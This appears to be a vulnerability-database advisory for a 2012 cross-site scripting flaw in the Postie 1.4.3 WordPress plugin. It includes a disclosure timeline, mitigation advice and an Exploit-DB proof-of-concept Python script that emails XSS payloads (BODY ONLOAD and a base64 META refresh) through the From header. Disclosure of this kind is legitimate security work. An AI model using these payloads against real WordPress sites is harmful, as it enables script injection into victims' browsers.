Postie 1.4.3 XSS Vulnerability

vendor:

Postie

by:

loneferret

7,5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: Postie

Affected Version From: 1.4.3

Affected Version To: 1.4.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:postie

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu Server LAMP 8.04, MAC OS Lion

2012

Postie 1.4.3 XSS Vulnerability

A Cross-Site Scripting (XSS) vulnerability was discovered in Postie 1.4.3. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'From' field of an email. An attacker can exploit this vulnerability by sending a malicious email with a specially crafted payload to a victim. The payload will be executed in the victim's browser when the victim views the email.

Mitigation:

Upgrade to the latest version of Postie.

Source

Exploit-DB raw data:

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Postie
Version: 1.4.3
Software Download: http://wordpress.org/extend/plugins/postie/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update received from CERT. Vendor was advised to contact researcher. No other contact received.
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: From
Injection Payload(s):
1: <BODY ONLOAD=alert('XSS')> 
2: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

'''


import smtplib, urllib2
  
payload = """<BODY ONLOAD=alert('XSS')>"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)